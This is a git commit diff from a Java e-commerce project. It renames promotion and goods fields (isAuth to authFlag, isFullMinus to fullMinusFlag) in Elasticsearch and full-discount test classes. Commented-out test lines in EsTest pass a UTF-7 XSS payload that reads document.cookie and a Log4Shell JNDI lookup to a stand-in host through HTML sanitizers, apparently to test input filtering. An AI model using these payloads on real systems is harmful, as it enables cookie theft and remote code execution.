优化促销。移除结算时促销的依赖。规范部分isxxx字段命名

This commit is contained in:
paulGao
2021-12-21 18:54:11 +08:00
parent e4047fbd30
commit 3ba4d24041
56 changed files with 534 additions and 534 deletions

View File

@@ -7,6 +7,8 @@ import cn.lili.modules.goods.entity.dos.GoodsSku;
import cn.lili.modules.goods.entity.enums.GoodsAuthEnum;
import cn.lili.modules.goods.entity.enums.GoodsStatusEnum;
import cn.lili.modules.goods.service.GoodsSkuService;
import cn.lili.modules.promotion.entity.dos.FullDiscount;
import cn.lili.modules.promotion.entity.dto.BasePromotions;
import cn.lili.modules.promotion.service.PromotionService;
import cn.lili.modules.search.entity.dos.EsGoodsAttribute;
import cn.lili.modules.search.entity.dos.EsGoodsIndex;
@@ -63,14 +65,18 @@ class EsTest {
// System.out.println(Sanitizers.FORMATTING.and(Sanitizers.FORMATTING).sanitize("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-"));
// System.out.println(HtmlUtil.unescape(safeHTML));
// System.out.println(HtmlUtil.filter("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-"));
Date dt1 = new Date(2021, 12, 10);
Date dt2 = new Date(2021, 12, 14);
System.out.println(new Date().before(dt2));
// Date dt1 = new Date(2021, 12, 10);
// Date dt2 = new Date(2021, 12, 14);
//
// System.out.println(new Date().before(dt2));
// String filter = HtmlUtil.filter("${jndi:ldap://attacker.com/a}");
// String sanitize = Sanitizers.FORMATTING.and(Sanitizers.LINKS).sanitize("${jndi:ldap://attacker.com/a}");
// System.out.println(filter);
// System.out.println(sanitize);
FullDiscount fullDiscount = new FullDiscount();
fullDiscount.setStartTime(new Date());
BasePromotions promotions = fullDiscount;
System.out.println(promotions);
}
@@ -124,7 +130,7 @@ class EsTest {
@Test
void init() {
LambdaQueryWrapper<GoodsSku> queryWrapper = new LambdaQueryWrapper<>();
queryWrapper.eq(GoodsSku::getIsAuth, GoodsAuthEnum.PASS.name());
queryWrapper.eq(GoodsSku::getAuthFlag, GoodsAuthEnum.PASS.name());
queryWrapper.eq(GoodsSku::getMarketEnable, GoodsStatusEnum.UPPER.name());
List<GoodsSku> list = goodsSkuService.list(queryWrapper);
List<EsGoodsIndex> esGoodsIndices = new ArrayList<>();
@@ -173,60 +179,6 @@ class EsTest {
@Test
void updateIndex() {
// EsGoodsIndex goodsIndex = new EsGoodsIndex();
// goodsIndex.setId("121");
// goodsIndex.setBrandId("113");
// goodsIndex.setGoodsId("113");
// goodsIndex.setCategoryPath("0|1");
// goodsIndex.setBuyCount(100);
// goodsIndex.setCommentNum(100);
// goodsIndex.setGoodsName("惠普HP战66 三代AMD版14英寸轻薄笔记本电脑锐龙7nm 六核R5-4500U 16G 512G 400尼特高色域一年上门 ");
// goodsIndex.setGrade(100D);
// goodsIndex.setHighPraiseNum(100);
// goodsIndex.setIntro("I'd like a cup of tea, please");
// goodsIndex.setIsAuth("1");
// goodsIndex.setMarketEnable("1");
// goodsIndex.setMobileIntro("I want something cold to drink");
// goodsIndex.setPoint(100);
// goodsIndex.setPrice(100D);
// goodsIndex.setSelfOperated(true);
// goodsIndex.setStoreId("113");
// goodsIndex.setStoreName("惠普自营官方旗舰店");
// goodsIndex.setStoreCategoryPath("1");
// goodsIndex.setThumbnail("picture");
// goodsIndex.setSn("A113");
// Map<String, BasePromotion> promotionMap = new HashMap<>();
// Coupon coupon = new Coupon();
// coupon.setStoreId("113");
// coupon.setStoreName("惠普自营官方旗舰店");
// coupon.setPromotionStatus(PromotionStatusEnum.START.name());
// coupon.setReceivedNum(0);
// coupon.setConsumeLimit(11D);
// coupon.setCouponLimitNum(10);
// coupon.setCouponName("满11减10");
// coupon.setCouponType(CouponTypeEnum.PRICE.name());
// coupon.setGetType(CouponGetEnum.FREE.name());
// coupon.setPrice(10D);
// promotionMap.put(PromotionTypeEnum.COUPON.name(), coupon);
// goodsIndex.setPromotionMap(promotionMap);
// List<EsGoodsAttribute> esGoodsAttributeList = new ArrayList<>();
// EsGoodsAttribute attribute = new EsGoodsAttribute();
// attribute.setType(0);
// attribute.setName("颜色");
// attribute.setValue("14英寸");
// esGoodsAttributeList.add(attribute);
// esGoodsAttributeList.add(attribute);
// attribute = new EsGoodsAttribute();
// attribute.setName("版本");
// attribute.setValue("【战66新品】R5-4500 8G 256G");
// esGoodsAttributeList.add(attribute);
// attribute = new EsGoodsAttribute();
// attribute.setName("配置");
// attribute.setValue("i5 8G 512G 2G独显");
// esGoodsAttributeList.add(attribute);
// goodsIndex.setAttrList(esGoodsAttributeList);
// GoodsSku goodsSkuByIdFromCache = goodsSkuService.getGoodsSkuByIdFromCache("121");
// EsGoodsIndex goodsIndex = new EsGoodsIndex(goodsSkuByIdFromCache);
EsGoodsIndex byId = esGoodsIndexService.findById("121");
byId.setPromotionMap(null);
esGoodsIndexService.updateIndex(byId);
@@ -253,7 +205,7 @@ class EsTest {
goodsIndex.setGrade(100D);
goodsIndex.setHighPraiseNum(100);
goodsIndex.setIntro("I'd like a cup of tea, please");
goodsIndex.setIsAuth("1");
goodsIndex.setAuthFlag("1");
goodsIndex.setMarketEnable("1");
goodsIndex.setMobileIntro("I want something cold to drink");
goodsIndex.setPoint(0);

View File

@@ -42,10 +42,10 @@ class FullDiscountTest {
fullDiscountVO.setStoreId("131");
fullDiscountVO.setStoreName("小米自营旗舰店");
fullDiscountVO.setDescription("full discount test " + RandomUtil.randomNumber());
fullDiscountVO.setIsFullMinus(true);
fullDiscountVO.setFullMinusFlag(true);
fullDiscountVO.setFullMoney(130D);
fullDiscountVO.setFullMinus(100D);
fullDiscountVO.setIsFreeFreight(true);
fullDiscountVO.setFreeFreightFlag(true);
fullDiscountVO.setPromotionName("FullDiscount-" + fullDiscountVO.getId());
fullDiscountVO.setTitle("" + fullDiscountVO.getFullMoney() + "" + fullDiscountVO.getFullMinus());
@@ -91,10 +91,10 @@ class FullDiscountTest {
fullDiscountVO.setStoreId("132");
fullDiscountVO.setStoreName("联想自营旗舰店");
fullDiscountVO.setDescription("Not worth");
fullDiscountVO.setIsFullMinus(true);
fullDiscountVO.setFullMinusFlag(true);
fullDiscountVO.setFullMoney(100D);
fullDiscountVO.setFullMinus(80D);
fullDiscountVO.setIsFreeFreight(true);
fullDiscountVO.setFreeFreightFlag(true);
fullDiscountVO.setPromotionName("FullDiscount-" + fullDiscountVO.getId());
fullDiscountVO.setTitle("" + fullDiscountVO.getFullMoney() + "" + fullDiscountVO.getFullMinus());